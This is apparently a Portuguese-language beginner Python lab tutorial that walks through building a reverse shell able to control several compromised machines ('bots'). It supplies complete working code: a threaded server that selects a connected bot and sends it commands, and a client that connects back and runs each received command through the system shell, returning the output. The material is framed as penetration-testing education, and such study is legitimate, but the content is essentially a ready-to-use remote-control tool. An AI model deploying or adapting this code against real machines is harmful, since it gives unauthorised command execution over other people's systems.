Shell Reverso para Controle de Múltiplos Alvos

PythonBeginner
Pratique Agora

Introdução

Neste projeto, você aprenderá a criar um shell reverso utilizando Python, o que permite controlar múltiplas máquinas comprometidas, também conhecidas como "bots". Diferente dos shells tradicionais, um shell reverso inicia uma conexão do bot para o controlador, possibilitando o gerenciamento de hosts remotos mesmo que estejam atrás de firewalls ou NAT. Este método é amplamente utilizado em práticas de cibersegurança para testes de invasão e gerenciamento de ambientes controlados de forma segura.

Antes de mergulharmos na implementação, é fundamental entender os conceitos base por trás da nossa aplicação de shell reverso, incluindo a arquitetura cliente-servidor (C/S) e o Protocolo de Controle de Transmissão (TCP).

A arquitetura C/S envolve um cliente que solicita serviços e um servidor que os fornece. No nosso caso, os bots atuam como clientes que iniciam conexões com o nosso servidor, permitindo-nos executar comandos neles remotamente.

Utilizaremos o TCP para garantir uma comunicação confiável e orientada à conexão entre o servidor e os clientes. O TCP assegura que os dados sejam entregues com precisão e na ordem correta, o que é essencial para executar comandos e receber respostas sem erros.

👀 Prévia

Execução de comando via shell reverso

🎯 Tarefas

Neste projeto, você aprenderá:

  • Como compreender a arquitetura cliente-servidor (C/S) e o Protocolo de Controle de Transmissão (TCP) como base para comunicações de rede.
  • Como configurar um servidor que escuta conexões de entrada de múltiplos clientes (bots).
  • Como criar scripts de cliente que se conectam ao servidor e executam os comandos recebidos.
  • Como implementar a funcionalidade de execução de comandos e recuperação de resultados no servidor para interagir com os clientes conectados.
  • Como gerenciar múltiplas conexões de clientes simultaneamente e alternar entre eles para enviar comandos.

🏆 Conquistas

Após concluir este projeto, você será capaz de:

  • Demonstrar domínio sobre os fundamentos do modelo cliente-servidor e do TCP para comunicação de rede confiável.
  • Implementar um servidor de shell reverso para múltiplos clientes em Python.
  • Criar scripts de cliente capazes de se conectar a um servidor remoto e executar comandos enviados por ele.
  • Lidar com múltiplas conexões e gerenciar a comunicação com diversos clientes em um ambiente controlado.
  • Aplicar experiência prática em programação de rede e compreender suas aplicações em cibersegurança e gerenciamento remoto de sistemas.

Inicializar a Classe do Servidor

No arquivo chamado server.py, comece com a estrutura básica da classe Server.

import socket
import threading

class Server:
    def __init__(self, host='0.0.0.0', port=7676):
        self.host = host
        self.port = port
        self.clients = []
        self.current_client = None
        self.exit_flag = False
        self.lock = threading.Lock()

A classe Server foi projetada para criar um servidor capaz de lidar com múltiplas conexões de clientes, comumente chamados de "bots" no contexto de uma aplicação de shell reverso. Vamos detalhar os componentes e funcionalidades definidos no método de inicialização (__init__):

  1. Declarações de Importação:
    • import socket: Importa o módulo nativo socket do Python, que fornece as funcionalidades necessárias para comunicações de rede. Sockets são os pontos finais de um canal de comunicação bidirecional e podem ser usados para conectar e se comunicar com clientes.
    • import threading: Importa o módulo threading, permitindo a criação de múltiplas threads dentro de um processo. Isso é essencial para lidar com várias conexões de clientes simultaneamente sem bloquear o fluxo principal de execução do servidor.
  2. Definição da Classe:
    • class Server:: Esta linha define a classe Server, que encapsula as funcionalidades exigidas para as operações do lado do servidor de um shell reverso.
  3. Método de Inicialização (__init__):
    • def __init__(self, host='0.0.0.0', port=7676):: Este método inicializa uma nova instância da classe Server. Ele possui dois parâmetros com valores padrão:
      • host='0.0.0.0': O endereço de host padrão '0.0.0.0' é usado para especificar que o servidor deve escutar em todas as interfaces de rede disponíveis. Isso torna o servidor acessível a partir de qualquer endereço IP que a máquina possua.
      • port=7676: Este é o número da porta padrão na qual o servidor aguardará conexões de entrada. Números de porta são usados para diferenciar diferentes serviços rodando na mesma máquina. A escolha da porta 7676 é arbitrária e pode ser alterada conforme a preferência ou necessidade do usuário.
  4. Variáveis de Instância:
    • self.host: Armazena o endereço do host onde o servidor escutará as conexões.
    • self.port: Armazena o número da porta onde o servidor escutará.
    • self.clients = []: Inicializa uma lista vazia para rastrear os clientes conectados. Cada cliente conectado será adicionado a esta lista, permitindo que o servidor gerencie e se comunique com múltiplos clientes.
    • self.current_client = None: Esta variável é usada para rastrear o cliente selecionado no momento (se houver) para envio de comandos ou recebimento de dados.
    • self.exit_flag = False: Esta flag é usada para controlar o loop principal do servidor. Definir esta flag como True sinalizará para o servidor desligar de forma graciosa.
    • self.lock = threading.Lock(): Cria um objeto de trava (lock) de threading, que é uma primitiva de sincronização. Travas são usadas para garantir que apenas uma thread possa acessar ou modificar recursos compartilhados por vez, evitando condições de corrida e garantindo a integridade dos dados.
✨ Verificar Solução e Praticar

Iniciar o Servidor TCP

Implemente o método run para iniciar o servidor e escutar por conexões.

## continue em server.py
    def run(self):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
            server_socket.bind((self.host, self.port))
            server_socket.listen(10)
            print(f"Server listening on port {self.port}...")

            connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,))
            connection_thread.start()

            while not self.exit_flag:
                if self.clients:
                    self.select_client()
                    self.handle_client()

O método run é a parte da classe Server que efetivamente inicia o servidor TCP e começa a aguardar conexões de entrada dos clientes. Aqui está um detalhamento do que acontece neste método:

  1. Criando um Socket:
    • with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:: Esta linha cria um novo socket usando a instrução with, garantindo que o socket seja fechado automaticamente quando não for mais necessário. O argumento socket.AF_INET especifica que o socket usará endereçamento IPv4, e socket.SOCK_STREAM indica que é um socket TCP, que fornece comunicação confiável e orientada à conexão.
  2. Vinculando o Socket (Binding):
    • server_socket.bind((self.host, self.port)): O método bind associa o socket a uma interface de rede e número de porta específicos. Neste caso, ele vincula o socket aos atributos host e port da instância Server, preparando-o para ouvir conexões naquele endereço e porta.
  3. Escutando Conexões:
    • server_socket.listen(10): Esta linha instrui o socket a começar a escutar conexões de entrada. O argumento 10 especifica o número máximo de conexões em fila (o backlog) antes que o servidor comece a recusar novas conexões. Isso não limita o número total de conexões simultâneas, apenas quantas podem ficar aguardando aceitação.
  4. Mensagem de Início do Servidor:
    • print(f"Server listening on port {self.port}..."): Exibe uma mensagem no console indicando que o servidor está ativo e operante, escutando na porta especificada.
  5. Gerenciando Conexões de Entrada:
    • connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,)): Esta linha inicializa um novo objeto Thread, definindo seu alvo como o método self.wait_for_connections com o server_socket como argumento. Este método é projetado para aceitar continuamente conexões de entrada em um loop e adicioná-las à lista self.clients.
    • connection_thread.start(): Inicia a thread, invocando o método self.wait_for_connections em um fluxo de execução separado. Isso permite que o servidor continue executando o restante do método run sem ficar bloqueado enquanto espera por conexões.
  6. Loop Principal do Servidor:
    • while not self.exit_flag:: Este loop continua a ser executado enquanto self.exit_flag permanecer como False. Dentro deste loop, o servidor pode realizar tarefas como gerenciar clientes conectados ou processar comandos do servidor.
    • if self.clients:: Verifica se há algum cliente conectado na lista self.clients.
      • self.select_client(): Um método que permite ao operador do servidor selecionar um dos clientes conectados para interação.
      • self.handle_client(): Outro método que lida com a interação com o cliente selecionado, como ler comandos do operador, enviá-los ao cliente e exibir a resposta.

Esta estrutura configura o servidor para escutar e gerenciar múltiplas conexões de clientes de forma não bloqueante, utilizando threads para lidar com a aceitação de conexões e o gerenciamento de clientes simultaneamente.

✨ Verificar Solução e Praticar

Aceitar Conexões de Entrada

Adicione o método wait_for_connections para gerenciar as conexões de clientes recebidas em uma thread separada.

## continue em server.py
    def wait_for_connections(self, server_socket):
        while not self.exit_flag:
            client_socket, client_address = server_socket.accept()
            print(f"New connection from {client_address[0]}")
            with self.lock:
                self.clients.append((client_socket, client_address))

O método wait_for_connections foi projetado para escutar e aceitar continuamente conexões de clientes no servidor. Este método deve rodar em uma thread separada, permitindo que o servidor realize outras tarefas (como interagir com clientes já conectados) sem ser bloqueado pela chamada accept, que aguarda uma nova conexão. Aqui está o detalhamento:

  1. Loop de Escuta Contínua:
    • while not self.exit_flag:: Este loop continua rodando enquanto self.exit_flag for False. O propósito desta flag é fornecer uma maneira controlada de parar o servidor. Quando definida como True, o loop termina, impedindo o servidor de aceitar novas conexões.
  2. Aceitando Conexões:
    • client_socket, client_address = server_socket.accept(): O método accept aguarda uma conexão de entrada. Quando um cliente se conecta, ele retorna um novo objeto de socket (client_socket) representando a conexão, e uma tupla (client_address) contendo o endereço IP e a porta do cliente. Esta linha bloqueia a execução da thread até que uma nova conexão seja recebida.
  3. Notificação de Conexão:
    • print(f"New connection from {client_address[0]}"): Assim que uma nova conexão é aceita, uma mensagem é exibida no console indicando o endereço IP do cliente recém-conectado. Isso é útil para logs e monitoramento.
  4. Gerenciamento de Clientes Seguro para Threads:
    • with self.lock:: Utiliza uma trava de threading (self.lock), adquirida no início do bloco e liberada automaticamente ao final. O objetivo da trava é garantir o acesso seguro a recursos compartilhados, neste caso, a lista self.clients. Isso é crucial em ambientes multi-thread para evitar corrupção de dados e garantir a consistência.
    • self.clients.append((client_socket, client_address)): Dentro do bloco protegido, o método adiciona o socket e o endereço do novo cliente como uma tupla à lista self.clients. Esta lista rastreia todos os clientes conectados, permitindo interações individuais posteriormente.

Este método garante que o servidor possa lidar com conexões de entrada simultaneamente a outras tarefas, gerenciando com segurança a lista de clientes para interações futuras. O uso de threads e travas é essencial para manter o desempenho e a integridade dos dados em um ambiente concorrente.

✨ Verificar Solução e Praticar

Implementar Funções de Interação com o Cliente

Implemente funções para selecionar e interagir com os clientes conectados.

## continue em server.py
    def select_client(self):
        print("Available clients:")
        for index, (_, addr) in enumerate(self.clients):
            print(f"[{index}]-> {addr[0]}")

        index = int(input("Select a client by index: "))
        self.current_client = self.clients[index]

    def handle_client(self):
        client_socket, client_address = self.current_client
        while True:
            command = input(f"{client_address[0]}:~## ")
            if command == '!ch':
                break
            if command == '!q':
                self.exit_flag = True
                print("Exiting server...")
                break

            client_socket.send(command.encode('utf-8'))
            response = client_socket.recv(1024)
            print(response.decode('utf-8'))

As funções select_client e handle_client são componentes críticos para interagir com clientes conectados em um ambiente de servidor de shell reverso. Veja como cada uma funciona:

Função select_client

Esta função é responsável por listar todos os clientes conectados no momento e permitir que o operador do servidor selecione um para interação:

  • print("Available clients:"): Exibe uma mensagem indicando que a lista de clientes disponíveis virá a seguir.
  • for index, (_, addr) in enumerate(self.clients):: Itera pela lista self.clients, que contém tuplas de sockets e endereços de clientes. O _ é um marcador para o socket do cliente, que não é necessário neste contexto, e addr é o endereço do cliente. A função enumerate adiciona um índice a cada item.
  • print(f"[{index}]-> {addr[0]}"): Para cada cliente, imprime um índice e o endereço IP. Isso facilita para o operador ver quantos e quais clientes estão conectados.
  • index = int(input("Select a client by index: ")): Solicita ao operador que insira o índice do cliente com o qual deseja interagir. Esta entrada é convertida para inteiro e armazenada em index.
  • self.current_client = self.clients[index]: Define self.current_client como a tupla do cliente (socket e endereço) correspondente ao índice escolhido. Este cliente será o alvo dos comandos subsequentes.

Função handle_client

Esta função facilita o envio de comandos e o recebimento de respostas do cliente selecionado:

  • client_socket, client_address = self.current_client: Desempacota a tupla self.current_client em client_socket e client_address.
  • while True:: Entra em um loop infinito, permitindo que o operador envie comandos continuamente ao cliente até que um comando especial seja inserido.
  • command = input(f"{client_address[0]}:~## "): Solicita ao operador que insira um comando. O prompt inclui o endereço IP do cliente atual para maior clareza.
  • if command == '!ch':: Verifica se o comando especial !ch foi inserido, que é um sinal para trocar o cliente atual. Se sim, sai do loop para permitir a seleção de um novo cliente.
  • if command == '!q':: Verifica se o comando para encerrar o servidor (!q) foi inserido. Se sim, define self.exit_flag como True para terminar o loop do servidor e sai do loop de manipulação do cliente.
  • client_socket.send(command.encode('utf-8')): Envia o comando inserido para o cliente. O comando é codificado em bytes usando UTF-8, já que a comunicação de rede exige que os dados estejam em formato de bytes.
  • response = client_socket.recv(1024): Aguarda e recebe a resposta do cliente. A chamada recv(1024) especifica que até 1024 bytes serão lidos. Para respostas maiores, isso precisaria ser ajustado ou tratado em um loop.
  • print(response.decode('utf-8')): Decodifica a resposta em bytes recebida usando UTF-8 e a imprime. Isso mostra ao operador o resultado do comando executado na máquina do cliente.

Essas funções coletivamente permitem que o operador gerencie múltiplos clientes, envie comandos e visualize respostas, capacidades fundamentais para um servidor de shell reverso.

✨ Verificar Solução e Praticar

Executando o Servidor

Adicione o ponto de entrada para instanciar e rodar o servidor.

## continue em server.py
if __name__ == "__main__":
    server = Server()
    server.run()

Esta parte do script inicia o servidor quando o arquivo é executado, permitindo que ele aceite e gerencie conexões de clientes.

✨ Verificar Solução e Praticar

Criando o Cliente

Em seguida, vamos criar o lado do cliente (bot). O cliente se conectará ao servidor e executará os comandos recebidos.

No arquivo client.py, adicione o seguinte conteúdo:

import socket
import subprocess
import sys
import time

def connect_to_server(host, port):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.connect((host, port))
        while True:
            command = sock.recv(1024).decode('utf-8')
            result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            output = result.stdout.decode(sys.getfilesystemencoding())
            sock.send(output.encode('utf-8'))
            time.sleep(1)

if __name__ == "__main__":
    HOST, PORT = "127.0.0.1", 7676
    connect_to_server(HOST, PORT)

O script client.py descreve como um cliente se conecta ao servidor e lida com comandos recebidos. Aqui está a explicação passo a passo:

  • def connect_to_server(host, port):: Define uma função que recebe um host e um número de porta para se conectar ao servidor.
  • with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:: Cria um objeto de socket usando endereçamento IPv4 (AF_INET) e TCP (SOCK_STREAM), garantindo que ele seja fechado automaticamente.
  • sock.connect((host, port)): Inicia uma conexão com o servidor no host e porta especificados.
  • while True:: Entra em um loop infinito para escutar continuamente comandos do servidor.
  • command = sock.recv(1024).decode('utf-8'): Aguarda o recebimento de um comando do servidor, lendo até 1024 bytes. Os bytes recebidos são decodificados usando UTF-8 para voltarem a ser uma string.
  • result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE): Executa o comando recebido usando o shell do sistema. stdout=subprocess.PIPE e stderr=subprocess.PIPE capturam a saída padrão e o erro padrão do comando, respectivamente.
  • output = result.stdout.decode(sys.getfilesystemencoding()): Decodifica a saída da execução do comando de bytes para string usando a codificação do sistema de arquivos, garantindo que caracteres específicos do sistema sejam interpretados corretamente.
  • sock.send(output.encode('utf-8')): Envia o resultado da execução do comando de volta para o servidor, codificando-o em UTF-8 para converter a string em bytes adequados para transmissão de rede.
  • time.sleep(1): Pausa a execução por 1 segundo antes de escutar o próximo comando. Isso é usado para evitar que o cliente sobrecarregue a rede ou o servidor com requisições contínuas e rápidas.

Este script de cliente transforma efetivamente a máquina onde é executado em um "bot" que se conecta a um servidor específico, aguarda comandos, os executa e retorna os resultados. Esta configuração é típica em ambientes controlados de cibersegurança, como laboratórios de testes de invasão.

✨ Verificar Solução e Praticar

Testando a Configuração

Finalmente, vamos testar nossa configuração de shell reverso para garantir que funcione conforme o esperado.

Executando o Servidor

Primeiro, execute o script server.py em uma janela de terminal:

python server.py
Executando o Cliente

Abra uma janela de terminal separada:

Abrindo nova janela de terminal

Execute o script client.py:

python client.py
Executando Comandos

De volta ao terminal do servidor:

Terminal do servidor com seleção de cliente

Você deve ser capaz de selecionar o cliente conectado e executar comandos. Por exemplo, tente listar o conteúdo do diretório raiz:

ls /

Você deverá ver a saída do comando ls / executado na máquina do cliente exibida no terminal do servidor.

Saída do comando ls no terminal do servidor
✨ Verificar Solução e Praticar

Resumo

Neste projeto, você aprendeu como implementar um shell reverso básico usando Python, aproveitando a arquitetura cliente-servidor e o TCP para comunicação. Você configurou um servidor que escuta conexões de clientes (bots) e envia comandos para eles. Esta técnica é uma habilidade fundamental em programação de rede e cibersegurança, demonstrando o poder e a flexibilidade do Python no gerenciamento de sistemas remotos.